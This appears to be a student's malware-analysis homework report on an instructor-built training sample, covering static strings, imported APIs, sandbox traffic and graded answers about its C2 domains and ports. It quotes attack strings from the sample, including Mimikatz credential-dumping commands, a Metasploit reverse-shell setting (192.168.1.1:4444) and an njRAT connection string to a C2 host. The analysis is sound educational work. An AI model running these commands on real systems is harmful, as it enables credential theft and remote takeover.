Static Analysis

Virus Total Analysis

Hash Analysis

File Hash: [Insert MD5, SHA-1, SHA-256 hash value]

- MD5: b03c34748e66f5a5d4bed91dc92125e6
- SHA-1: 3721c9ae3e3982f30e2e8fb97744f450bc11484e
- SHA-256:

f70af684f53e2fddbc14693d9e69f19520804751dfd2ef1f9218b2a8370 1f7ff

[Link to VirusTotal results]

• <a href="https://www.virustotal.com/gui/file/f70af684f53e2fddbc14693">https://www.virustotal.com/gui/file/f70af684f53e2fddbc14693</a> d9e69f19520804751dfd2ef1f9218b2a83701f7ff/details

Vendor Analysis

- Number of vendors flagging as malicious: 12/72
- Analysis of vendor results:
- [Discuss patterns in detection]
- peexe, corrupt, upx, 64bits
- [Common malware names identified]
- Trojan, dropper, Trojan-Spy.Win32.Bobik.ukc, Trojan.Malware.300983.susgen, Program:Win32/Wacapew.C!ml

File History

- Creation Time: 2025-04-22 01:23:44 UTC
- First Submission: 2025-04-26 20:10:20 UTC

Community Score

- [Link to your VirusTotal community contribution]
  - https://www.virustotal.com/gui/file/f70af684f53e2fddbc 14693d9e69f19520804751dfd2ef1f9218b2a83701f7ff/communi ty
  - o username:sshinn
- Summary of initial findings posted to the community:
- Static analysis reveals embedded strings for known RATs (DarkComet, njRAT), Mimikatz credential theft commands, potential C2 domains (c2.zerodaycrew.net, spydoor.noip.biz), Metasploit reverse shell configuration (targeting 192.168.1.1:4444), and references the HKCU Run key for persistence. Dynamic analysis confirmed suspicious network activity such as C2 or data exfiltration. Contains extensive APIs for networking, process injection, antianalysis, and information gathering. Possesses capabilities for remote control, credential theft, and persistence.
- 2. Detect It Easy (DIE) Analysis

- File information
- File type: PE64
- Architecture: AMD64
- Compiler: MinGW
- Linker: GNU, linker ld (GNU Binutils) (2.30) [GUI64]

### Additional relevant information:

- [List notable file characteristics]
- Packer: UPX (5.00) [NRV,brute]
- Copyright © Michael Galde 2025 University of Arizona
- University of Arizona CYBV 454 Week 13
- University of Arizona AI Homework Helper
- Week13.exe
- Language: C

## Memory Map Analysis

- Section breakdown:
- .text size: 000afe00 RE (Compiler) Code Section
- .data size: 00003000 RW (Compiler) Data Section
- .rdata size: 0000fa00 R (Compiler) Read-only initialized Data Section (MS and Borland)
- .exploit size: 00000200 R
- .cobalt size: 00000200 R
- .network size: 00000200 R
- .payload size: 00000200 R
- .pegasus size: 00000400 R
- .FINAL size: 00000200 R
- .univers size: 00000200 R
- .arizona size: 00000200 R
- .evil pl size: 00000200 R
- .galde size: 00000200 R
- .profess size: 00000200 R
- .cybv454 size: 00000200 R
- .pdata size: 0000ba00 R (Compiler) Exception Handling
- .xdata size: 0000fc00 R (Compiler) Exception Information Section
- .bss size: 00000000 RW (Compiler) Uninitialized Data Section
- .idata size: 00002000 RW (Compiler) Initialized Data Section (Borland) | (Compiler) mingw/cygwin
- .CRT size: 00000200 RW (Compiler) Initialized Data Section (C RunTime) | (Compiler) mingw/cygwin

- .tls size: 00000200 RW (Compiler) Thread Local Storage Section
- .rsrc size: 0002a000 RW (Compiler) Resource section

# String Analysis

Notable strings discovered:

- University of Arizona AI Homework Helper CYBV 454 Week 13
- Welcome to Week 13. This application is a PREP for the Malware Analysis Final...
- MS17-010 (Specific vulnerability identifier)
- ReflectiveLoader
- beacon.dll (Filename often associated with C2 communication payloads)
- Unicorn malware lab initialized. (Indicates a specific environment or toolset)
- DarkComet-RAT (Specific Remote Access Trojan name)
- njrat xRAT (Specific Remote Access Trojan name)
- Payload::InjectTLSWrap() (Suggests a function related to payload injection, possibly involving Thread Local Storage)
- In this application, find out where the domain name is stored when the user enters sensitive information (Instruction/comment relevant to analysis)
- POST /api/status HTTP/1.1 (Structure of an HTTP request, likely C2 communication)
- User-Agent: Mozilla/5.0 (Common User-Agent string, often used by malware to blend in)
- id=AYX33T91&status=ready&ops=0x45F122 (Potential C2 communication parameters)
- CompanyName: University of Arizona Cyber Operations
- FileDescription: University of Arizona AI Homework Helper
- InternalName: Week13.exe
- LegalCopyright: Copyright © Michael Galde 2025 University of Arizona
- OriginalFilename: Week13.exe
- ProductName: University of Arizona CYBV 454 Week 13
- Comments: Confidential Internal Use Only
- GDI32.dll, gdiplus.dll, KERNEL32.DLL, msvcrt.dll, ole32.dll, SHELL32.dll, USER32.dll, WS2\_32.dll (Imported DLLs)

### [URLs/IPs]

• c2.zerodaycrew.net (Potential Command & Control server

domain)

- spydoor.no-ip.biz (Potential Command & Control server domain, dynamic DNS)
- 192.168.1.1 (Local IP address, likely for testing/internal C2)

## [File paths]

- HKCU\Software\Microsoft\Windows\CurrentVersion\Run (Registry path for persistence)
- beacon.dll
- Week13.exe

## [Command lines]

- metreverse\_tcp LHOST=192.168.1.1 LPORT=4444 (Metasploit payload configuration)
- njrat xRAT|Connect(); c2=spydoor.no-ip.biz:1177 (njRAT connection string/configuration)
- kerberos::ptt (Mimikatz command Pass the Ticket)
- sekurlsa::logonpasswords (Mimikatz command Dump credentials)
- lsadump::sam (Mimikatz command Dump SAM database/hashes)
- privilege::debug (Mimikatz command Elevate privileges)

[API calls] (Suspicious or indicators of malicious software behavior)

#### Networking:

- WSAStartup (Initialize networking)
- socket (Create a socket for communication)
- getaddrinfo (Resolve domain names like C2 servers)
- inet addr (Convert IP string to address)
- htons (Port conversion for network connection)
- sendto (Send data over the network, likely C2 communication)
- closesocket (Close network connection)

## Process/Memory Manipulation & Injection:

- LoadLibraryA (Load DLLs, potentially malicious ones)
- GetProcAddress (Find functions within DLLs, often used for dynamic API resolution)
- VirtualProtect (Change memory permissions, common for executing shellcode or unpacking)
- VirtualQuery (Inspect memory regions, used for scanning or finding injection points)
- CreateToolhelp32Snapshot (Enumerate processes/threads/modules, used for reconnaissance or finding target processes)

- GetThreadContext (Get thread state, used in process injection/hijacking)
- SetThreadContext (Set thread state, used in process injection/hijacking)
- ResumeThread (Resume a suspended thread, often after injection)
- SuspendThread (Suspend a thread, often before injection)
- TerminateProcess (Terminate other processes or self)
- ShellExecuteA (Run other programs or open URLs)

# Anti-Analysis/Evasion:

- IsDebuggerPresent (Check if a debugger is attached)
- GetTickCount / QueryPerformanceCounter / GetSystemTimeAsFileTime (Timing checks, can detect debuggers/VMs)
- Sleep (Pause execution, can be used to evade sandboxes or time C2 check-ins)
- AddVectoredExceptionHandler / SetUnhandledExceptionFilter (Intercept exceptions, can be used for anti-debugging or control flow hijacking)
- OutputDebugStringA (Can be used to detect debuggers)
- GetHandleInformation (Can potentially detect debugger handles)
- Information Gathering/Keystroke/Data Theft:
- GetModuleFileNameA (Get own executable path)
- SHGetFolderPathA (Find special folders like AppData for storing files/config)
- GetWindowTextA (Potentially grab text from other application windows)
- GetCursorPos (Get mouse position, part of user monitoring)
- OpenClipboard / EmptyClipboard / SetClipboardData / CloseClipboard (Manipulate clipboard data, potential theft)
- TlsAlloc / TlsGetValue / TlsSetValue (Thread Local Storage, can hide data)

## Other potentially suspicious:

- BitBlt / Gdip... functions (Can be used for screen capture)
- SendMessageA (Can interact with other windows in potentially malicious ways)
- SetWindowTextA (Change window titles, could be used for spoofing)
- Shell\_NotifyIconA (Create tray icons, could be used for stealthy persistence indicators)

# Analysis of string findings:

- Potential Functionality Indicated
  - Functionality appears to establish Command and Control (C2) communication, indicated by the presence of C2like domain names (c2.zerodaycrew.net, spydoor.noip.biz), networking APIs (WSAStartup, socket, sendto, getaddrinfo), and HTTP communication structures (POST /api/status). There are clear indicators of credential theft capabilities, specifically through embedded commands associated with Mimikatz (sekurlsa::logonpasswords, lsadump::sam, kerberos::ptt, privilege::debug). The application does payload execution and potentially process injection, suggested by the Metasploit payload string (metreverse tcp), the ReflectiveLoader string, and numerous Windows APIs related to loading libraries, finding functions, manipulating memory permissions (VirtualProtect), and controlling threads (SuspendThread, SetThreadContext, ResumeThread). Persistence mechanisms are also suggested via the reference to the HKCU\...\Run registry key, often used by malware like the identified DarkComet-RAT and njrat. Finally, information gathering (clipboard access, window text retrieval, special folder paths) and potential surveillance (screen capture APIs) functionalities are also hinted at by the included API calls.

# • Suspicious Patterns

o suspicious patterns emerge from the collection of strings, strongly diverging from legitimate application behavior. The combination of C2 domain names, networking APIs, and structured HTTP requests indicates remote control and data exfiltration.

Multiple, specific command strings from the Mimikatz toolset (sekurlsa::logonpasswords, lsadump::sam, etc.) is a significant red flag, pointing directly to credential harvesting activities. Similarly, the explicit naming of known Remote Access Trojans (DarkComet-RAT, njrat) alongside C2 infrastructure details and persistence mechanisms (HKCU\...\Run) presents a clear pattern of remote access. Another

suspicious pattern is the collection of APIs typically used for code injection and evasion (VirtualProtect, SetThreadContext, IsDebuggerPresent, GetTickCount, Sleep), indicating attempts to execute code stealthily. The presence of the MS17-010 vulnerability identifier alongside these other malicious indicators is also highly suspicious, potentially suggesting exploitation capabilities. C2 communication, credential theft tools, known RAT names, persistence methods, code injection techniques, and anti-analysis functions.

## Disassembly Analysis

- I put a breakpoint at the entry point
- I found UPX0 in Memory Map in x64dbg and set a breakpoint at the beginning of UPX0
- I ran the debugger and watched as the malware dynamically unpacked into UPXO, showing a bunch of code that had not been there before (it was just empty space).
- At this point I downloaded UPX and unpacked it directly with UPX. This worked and I did not need to manually unpack it anymore.
- I used Ghidra to identify entry points to different functions to double check that I was putting breakpoints at the correct addresses.

#### Static Analysis Summary

• Static analysis of the file reveals significant indicators of malicious behavior, despite metadata suggesting an educational origin (University of Arizona CYBV 454, Michael Galde). The file is packed with UPX, flagged as Trojan/RAT/Spyware by multiple AV vendors, and contains numerous suspicious strings. These include explicit names of Remote Access Trojans (DarkComet-RAT, njRAT), commands associated with the Mimikatz credential theft tool, potential C2 domains (c2.zerodaycrew.net, spydoor.no-ip.biz), Metasploit payload syntax, and references to the Run registry key for persistence. Analysis of imported APIs and custom PE section names (.exploit, .payload, .evil\_pl) further suggests capabilities for C2 communication, data exfiltration (credentials, clipboard, window text), process injection, remote control, and anti-analysis evasion. The

primary risks identified include complete system compromise, sensitive data theft, and persistent infection.

## Dynamic Analysis

• During dynamic analysis in a sandbox environment (AnyRun), the malware initially presented a pop-up consistent with its stated "homework helper" purpose and launched the slui.exe process. Network monitoring captured local UDP broadcasts alongside expected TCP connections to Microsoft domains for potential OS checks. Critically, the analysis detected a suspicious UDP connection directed to michaelgalde.com (185.199.109.153) on port 10100. This external communication to a domain matching the author metadata found in static analysis strongly indicates potential Command & Control activity or data exfiltration, confirming the malicious capabilities suggested by the static findings.

# Runtime Observations

- Initial Execution
  - [Immediate system changes]: a pop up that appeared to be a legitimate homework helper appeared
  - [Process creation]
    - o slui.exe
    - o week13.exe
  - [Network activity]
    - o UDP 192.168.150.121:8050
    - o UDP a83f:8110:100:0:436f:6e66:6967:7572:53
    - o UDP 192.168.0.42:137
    - o UDP 192.168.150.121:137
    - o TCP 20.69.140.28:443
    - o TCP 23.196.145.221:80
    - o TCP 20.99.133.109:443
    - o TCP 184.27.218.92:80 (www.microsoft.com)
    - o TCP 104.98.118.171:443 (res.public.onecdn.static.microsoft)
    - o TCP 20.24.121.134:443
    - o UDP 185.199.109.153:10100 (michaelgalde.com)

For the dynamic analysis, I tried opening the file in both malware desktops, however they both could not run a 32 bit program. I took a screenshot of the error. So for this dynamic

#### Question 1

- What domain is this malware speaking out to and where is the domain found within the program? (30%)
  - o c2.zerodaycrew.net
  - o spydoor.no-ip.biz
  - no evidence of these specific strings being XORencoded.
- What port is used for this communication? (10%)
  - The analysis explicitly links port 1177 to the domain spydoor.no-ip.biz via the string: njrat - xRAT| Connect(); c2=spydoor.no-ip.biz:1177.
  - For the domain c2.zerodaycrew.net, a specific port isn't mentioned. However, the string POST /api/status HTTP/1.1 suggests communication over standard web ports, likely port 80 (HTTP) or 443 (HTTPS
- What information is being sent? (10%)
  - Beaconing/Status Updates: The POST /api/status HTTP/1.1 request containing parameters like id=AYX33T91&status=ready&ops=0x45F122 suggests the malware is checking in with the C2 server, reporting its status
  - Exfiltrated Data: Given the identified RATs (njRAT, DarkComet) and credential theft tools (Mimikatz commands like sekurlsa::logonpasswords), it's highly probable that stolen credentials, system information, potentially keylogged data, clipboard contents, or files are being sent back to the C2 servers (c2.zerodaycrew.net or spydoor.no-ip.biz).
- Provide an analysis to support your findings with evidence (50%)
  - O Analysis: The malware establishes C2 communication using identified domains. At least one domain (spydoor.no-ip.biz) uses a non-standard port (1177), often seen with RATs like njRAT. Another C2 communication likely uses HTTP(S) based on the POST request structure found. The primary purpose of this

communication is twofold: 1) To allow the malware to check in, report status, and receive commands from the attacker (beaconing). 2) To exfiltrate sensitive data harvested from the victim machine using embedded tools like Mimikatz and the functionalities provided by the identified RATs.

#### Ouestion 2

- What static IP address is this malware speaking out to and where is the IP Address found within the program? (10%)
  - o IP Address: 192.168.1.1
  - O Location: This IP address was found within the extracted strings list during the static analysis, specifically as part of the Metasploit command string: metreverse\_tcp LHOST=192.168.1.1 LPORT=4444. This is a local IP, likely for testing.
- What port is used for this communication? (10%)
  - Port 4444. This is explicitly stated in the same string: metreverse tcp LHOST=192.168.1.1 LPORT=4444.
- What information is being sent? (30%)
  - o The string metreverse\_tcp LHOST=192.168.1.1 LPORT=4444 indicates the malware attempts to initiate a Metasploit reverse TCP shell to the specified IP address and port.
- Provide an analysis to support your findings with evidence (50%)
  - Evidence: The string metreverse\_tcp LHOST=192.168.1.1 LPORT=4444 found during static analysis is the primary evidence.
  - o Analysis: The term metreverse\_tcp is a standard identifier for a Metasploit payload that creates a reverse TCP connection from the victim machine back to an attacker-controlled listener. LHOST=192.168.1.1 specifies the IP address (Listening Host) the malware should connect back to, and LPORT=4444 specifies the TCP port (Listening Port) on that host. The 192.168.1.1 address is a private, non-routable IP, suggesting this was likely intended for a testing environment. The purpose of this connection is to provide the attacker with a remote command shell on the infected machine, allowing them to execute

commands interactively and receive the output back over the established connection on port 4444.

## Question 3

- Based on the information collected within your analysis Who likely hacked this student, provide evidence to support your claim and provide analysis (50%)
  - Likely Hacker: Michael Galde / University of Arizona
     CYBV 454 Course Staff.
  - o Evidence:
    - File Properties: Copyright © Michael Galde 2025 University of Arizona, CompanyName: University of Arizona Cyber Operations, LegalCopyright: Copyright © Michael Galde 2025 University of Arizona, ProductName: University of Arizona CYBV 454 Week 13.
    - Strings: University of Arizona AI Homework Helper CYBV 454 Week 13, Welcome to Week 13. This application is a PREP for the Malware Analysis Final..., Unicorn malware lab initialized.
    - File Names: InternalName: Week13.exe, OriginalFilename: Week13.exe.
    - Custom Section Names: .galde, .profess, .cybv454, .univers, .arizona.
    - Compiler/Environment: MinGW compiler, potential "Unicorn malware lab" environment.
  - O Analysis: file created by "Michael Galde" for an educational purpose within the "University of Arizona CYBV 454" course, specifically for "Week 13" as preparation for a "Malware Analysis Final."
  - How did the attacker get personal details about the student, provide evidence to support your claim and provide analysis (50%)
    - The attacker was the student's professor, and also the malware the professor wrote contacted C2 command and control servers to exfiltrate data, including credentials: explicit Mimikatz command strings were found: sekurlsa::logonpasswords, lsadump::sam, kerberos::ptt, privilege::debug. These are used to extract passwords, hashes, and Kerberos tickets from memory and the system. The

malware contains strings identifying DarkComet-RAT and njrat - xRAT. These RATs provide attackers with extensive remote control, including keylogging, screen capture, file system access, and microphone/webcam activation - all methods to steal personal information. API calls like GetWindowTextA (potentially read window titles/content), clipboard functions (OpenClipboard, SetClipboardData - steal copied data), SHGetFolderPathA (find user folders), and potentially screen capture (BitBlt, GDI+ functions) were identified. The identified C2 channels (c2.zerodaycrew.net, spydoor.no-ip.biz) and the reverse shell (192.168.1.1:4444) are the conduits through which the stolen information would be exfiltrated back to the "attacker."

















